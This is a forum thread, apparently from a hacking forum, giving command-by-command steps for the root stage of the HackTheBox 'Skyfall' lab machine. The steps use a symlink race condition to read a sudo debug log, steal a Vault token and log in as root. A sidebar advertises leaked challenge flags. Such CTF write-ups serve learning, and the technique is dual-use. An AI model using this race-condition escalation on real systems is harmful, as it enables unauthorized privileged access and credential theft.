Skyfall (intended root part)
by Qwerty999 - Wednesday March 13, 2024 at 11:17 AM
#1
Hi everyone, as you know, since the Skyfall box has been patched, there is no direct way to read debug.log after launching the sudo command with the debug flag. Instead, we need to exploit the race condition vulnerability

the vulnerability arises from the timing window between the creation and removal of the symlink. If the symlink is created just before the sudo command writes to the debug.log file, the cat command can read from the debug.log file via the symlink, allowing unauthorized access to the log data

open three SSH sessions using the same vault command: " ./vault ssh -role dev_otp_key_role -mode otp askyy@10.10.11.254 "

in the first session, run "while true; do touch /home/askyy/debug.log; ln -sf /home/askyy/debug.log /dev/shm/symlink.log; rm /dev/shm/symlink.log; done"

in the second "while true; do cat /dev/shm/symlink.log; done"

and in the last one "sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd". Check the second terminal after each attempt to see if you're able to read the data

after that, execute "export VAULT_TOKEN="[data_you_find]"

and finally "./vault ssh -role admin_otp_key_role -mode otp root@10.10.11.254"


Good Luck!
Reply
#2
looks like really hard to trigger, tried to trigger almost 20 restarts and no luck
Reply
#3
Hi, what is the password to connect?
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.254' (ED25519) to the list of known hosts.
(askyy@10.10.11.254) Password:
(askyy@10.10.11.254) Password:
Reply
#4
https://ibb.co/QXDY46k

a.com/ctf/htb/htb-writeup-skyfall/#toc-head-7
# Source: Axura's Blog

Copy paste from the article:

To exploit this, we need to: 
Rapidly switch the symbolic link's target between two files. 
Ensure that the switch happens in the small window between the access and fopen calls in the vulnerable program.
Reply
#5
is the site broken or the previous message broke it??

(Jul 10, 2024, 02:04 PM)mycatdante Wrote: https://ibb.co/QXDY46k

a.com/ctf/htb/htb-writeup-skyfall/#toc-head-7
# Source: Axura's Blog

Copy paste from the article:

To exploit this, we need to: 
Rapidly switch the symbolic link's target between two files. 
Ensure that the switch happens in the small window between the access and fopen calls in the vulnerable program.

this blog https://4xura.com/ctf/htb-writeup-skyfall/
do you have the passord for it
Reply
#6
(Mar 13, 2024, 11:17 AM)Qwerty999 Wrote: Hi everyone, as you know, since the Skyfall box has been patched, there is no direct way to read debug.log after launching the sudo command with the debug flag. Instead, we need to exploit the race condition vulnerability

the vulnerability arises from the timing window between the creation and removal of the symlink. If the symlink is created just before the sudo command writes to the debug.log file, the cat command can read from the debug.log file via the symlink, allowing unauthorized access to the log data

open three SSH sessions using the same vault command: " ./vault ssh -role dev_otp_key_role -mode otp askyy@10.10.11.254 "

in the first session, run "while true; do touch /home/askyy/debug.log; ln -sf /home/askyy/debug.log /dev/shm/symlink.log; rm /dev/shm/symlink.log; done"

in the second "while true; do cat /dev/shm/symlink.log; done"

and in the last one "sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd". Check the second terminal after each attempt to see if you're able to read the data

after that, execute "export VAULT_TOKEN="[data_you_find]"

and finally "./vault ssh -role admin_otp_key_role -mode otp root@10.10.11.254"


Good Luck!

For anyone looking at doing this, follow the above, but replace the "while true; do cat /dev/shm/symlink.log; done" with "while true; do cat /dev/shm/symlink.log 2>/dev/null; done", to suppress the file not found errors.

Then, instead of running the final command manually, just wrap it in a while loop as well with "while true; do sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd; done"

After a little while the race should be won. Hope that helps
Reply
#7
(Aug 01, 2024, 03:32 PM)whipped Wrote:
(Mar 13, 2024, 11:17 AM)Qwerty999 Wrote: Hi everyone, as you know, since the Skyfall box has been patched, there is no direct way to read debug.log after launching the sudo command with the debug flag. Instead, we need to exploit the race condition vulnerability

the vulnerability arises from the timing window between the creation and removal of the symlink. If the symlink is created just before the sudo command writes to the debug.log file, the cat command can read from the debug.log file via the symlink, allowing unauthorized access to the log data

open three SSH sessions using the same vault command: " ./vault ssh -role dev_otp_key_role -mode otp askyy@10.10.11.254 "

in the first session, run "while true; do touch /home/askyy/debug.log; ln -sf /home/askyy/debug.log /dev/shm/symlink.log; rm /dev/shm/symlink.log; done"

in the second "while true; do cat /dev/shm/symlink.log; done"

and in the last one "sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd". Check the second terminal after each attempt to see if you're able to read the data

after that, execute "export VAULT_TOKEN="[data_you_find]"

and finally "./vault ssh -role admin_otp_key_role -mode otp root@10.10.11.254"


Good Luck!

For anyone looking at doing this, follow the above, but replace the "while true; do cat /dev/shm/symlink.log; done" with "while true; do cat /dev/shm/symlink.log 2>/dev/null; done", to suppress the file not found errors.

Then, instead of running the final command manually, just wrap it in a while loop as well with "while true; do sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd; done"

After a little while the race should be won. Hope that helps

Thank you bro
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 87 7,968 49 minutes ago
Last Post: char0n1507
Heart [FREE] HackTheBox All Cheatsheets Tamarisk 9 560 50 minutes ago
Last Post: char0n1507
  CBBH Write Ups hiddenhacker 23 6,340 1 hour ago
Last Post: somecrazykid
  [FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags Techtom 26 2,793 2 hours ago
Last Post: Neuromanc3r
  [FREE] CPTS 12 FLAGS pulsebreaker 72 2,211 4 hours ago
Last Post: coolguyaroundyou

Forum Jump:


 Users browsing this forum: 1 Guest(s)